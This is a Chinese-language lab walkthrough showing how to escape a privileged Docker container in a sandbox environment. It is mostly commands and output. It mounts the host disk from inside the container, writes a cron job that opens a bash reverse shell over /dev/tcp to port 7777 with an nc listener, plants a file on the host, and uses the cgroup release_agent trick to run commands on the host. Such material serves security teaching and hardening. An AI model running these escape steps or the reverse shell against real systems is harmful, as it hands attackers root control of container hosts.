说明
建议使用以下环境模拟本文的容器逃逸:
- https://www.katacoda.com/bluedata/scenarios/centos
执行命令安装docker运行环境。
$ sudo yum install docker -y
实现容器逃逸
获取宿主机控制权
- 先查看当前本机的IP地址,本环节为“172.17.0.28”。
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 02:42:ac:11:00:1c brd ff:ff:ff:ff:ff:ff
inet 172.17.0.28/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:acff:fe11:1c/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:75:17:f8:81 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/24 brd 172.18.0.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:75ff:fe17:f881/64 scope link
valid_lft forever preferred_lft forever
4: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether 52:54:00:ed:59:fd brd ff:ff:ff:ff:ff:ff
inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
valid_lft forever preferred_lft forever
5: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000
link/ether 52:54:00:ed:59:fd brd ff:ff:ff:ff:ff:ff
- 查看当前的本地存储配置。注意当前环境有“/dev/vda”和“/dev/vdb”两个Disk。
$ sudo fdisk -l
Disk /dev/vda: 105.9 GB, 105931341824 bytes, 206897152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x00096aae
Device Boot Start End Blocks Id System
/dev/vda1 * 2048 204799999 102398976 83 Linux
Disk /dev/vdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
- 查看宿主机的存储挂载点,注意此时宿主机中没有“overlay”的挂载点。
$ df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 733M 0 733M 0% /dev
tmpfs 748M 0 748M 0% /dev/shm
tmpfs 748M 8.9M 739M 2% /run
tmpfs 748M 0 748M 0% /sys/fs/cgroup
/dev/vda1 96G 5.5G 86G 6% /
tmpfs 150M 0 150M 0% /run/user/0
- 使用“privileged”参数运行容器。
$ sudo docker run -it --privileged ubuntu:14.04 /bin/bash
Unable to find image 'ubuntu:14.04' locally
14.04: Pulling from library/ubuntu
2e6e20c8e2e6: Pull complete
0551a797c01d: Pull complete
512123a864da: Pull complete
Digest: sha256:60840958b25b5947b11d7a274274dc48ab32a2f5d18527f5dae2962b64269a3a
Status: Downloaded newer image for ubuntu:14.04
- 在容器中查看存储设备,确认也能看到“/dev/vda”和“/dev/vdb”,注意有“/dev/vda1”,此设备为该容器和其外部宿主机共用的存储设备。
root@83828737236a:/# fdisk -l
Disk /dev/vda: 105.9 GB, 105931341824 bytes
255 heads, 63 sectors/track, 12878 cylinders, total 206897152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00096aae
Device Boot Start End Blocks Id System
/dev/vda1 * 2048 204799999 102398976 83 Linux
Disk /dev/vdb: 21.5 GB, 21474836480 bytes
16 heads, 63 sectors/track, 41610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
- 再次在宿主机上查看存储挂载,确认已经有名为“overlay”的,而且从
$ df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 733M 0 733M 0% /dev
tmpfs 748M 0 748M 0% /dev/shm
tmpfs 748M 8.9M 739M 2% /run
tmpfs 748M 0 748M 0% /sys/fs/cgroup
/dev/vda1 96G 5.5G 86G 6% /
tmpfs 150M 0 150M 0% /run/user/0
overlay 96G 5.5G 86G 6% /var/lib/docker/overlay/680aa5531b659630280f47bb60c22d41756bb273bf853c14ff2dd8071536aedf/merged
- 在容器内部新建“/host”目录,然后将宿主机的“/dev/vda1”挂载到容器内的“/host”上。
root@83828737236a:/# mkdir /host
root@83828737236a:/# mount /dev/vda1 /host
root@83828737236a:/# ls /host
bin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
- 向外部宿主机“/var/spool/cron/root”目录中写入cron文件,它可以在宿主机“7777”端口运行监听服务。
root@83828737236a:/# echo '* * * * * bash -i >& /dev/tcp/172.17.0.28/7777 0>&1'>> /host/var/spool/cron/root
- 此步在外部宿主机上执行。确认宿主机“7777”端口已经在监听。这样就可以通过该端口对容器宿主机发起攻击了。
$ nc -nvlp 7777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
- 在容器中执行命令,向宿主机写一个入侵文件。
$ echo aaa>/host/bin/aaa
- 在宿主机上确认有入侵文件。
$ ll /bin/aaa
-rw-r--r--. 1 root root 4 Dec 2 03:08 /bin/aaa
获取宿主机的运行进程
- 以特权的方式运行容器。
$ sudo docker run --rm -it --privileged ubuntu bash
- 执行以下命令,它的效果是在宿主机上执行了“ps aux”命令,然后将结果被存储在容器内“/output”文件中
root@aeba8db0b728:/# mkdir /tmp/cgrp
root@aeba8db0b728:/# mount -t cgroup -o memory cgroup /tmp/cgrp
root@aeba8db0b728:/# mkdir /tmp/cgrp/x
root@aeba8db0b728:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@aeba8db0b728:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@aeba8db0b728:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@aeba8db0b728:/# echo '#!/bin/sh' > /cmd
root@aeba8db0b728:/# echo "ps aux > $host_path/output" >> /cmd
root@aeba8db0b728:/# chmod a+x /cmd
root@aeba8db0b728:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
- 查看运行结果输出的文件内容,确认是宿主机的运行进程。
root@aeba8db0b728:/# cat /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 128184 6868 ? Ss 05:18 0:06 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root 2 0.0 0.0 0 0 ? S 05:18 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? S< 05:18 0:00 [kworker/0:0H]
root 5 0.0 0.0 0 0 ? S 05:18 0:00 [kworker/u4:0]
root 6 0.0 0.0 0 0 ? S 05:18 0:00 [ksoftirqd/0]
root 7 0.0 0.0 0 0 ? S 05:18 0:00 [migration/0]
root 8 0.0 0.0 0 0 ? S 05:18 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S 05:18 0:01 [rcu_sched]
root 10 0.0 0.0 0 0 ? S< 05:18 0:00 [lru-add-drain]
root 11 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/1]
。。。
- 为了验证,可在宿主机上运行以下命令,确认PID和其他信息同前面在容器中获得的信息是一样的。
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 128184 6868 ? Ss 05:18 0:06 /usr/lib/systemd/systemd --switched
root 2 0.0 0.0 0 0 ? S 05:18 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? S< 05:18 0:00 [kworker/0:0H]
root 5 0.0 0.0 0 0 ? S 05:18 0:00 [kworker/u4:0]
root 6 0.0 0.0 0 0 ? S 05:18 0:00 [ksoftirqd/0]
root 7 0.0 0.0 0 0 ? S 05:18 0:00 [migration/0]
root 8 0.0 0.0 0 0 ? S 05:18 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S 05:18 0:01 [rcu_sched]
root 10 0.0 0.0 0 0 ? S< 05:18 0:00 [lru-add-drain]
root 11 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/1]
。。。
- 这样就可以针对宿主机上的运行进程发起攻击了。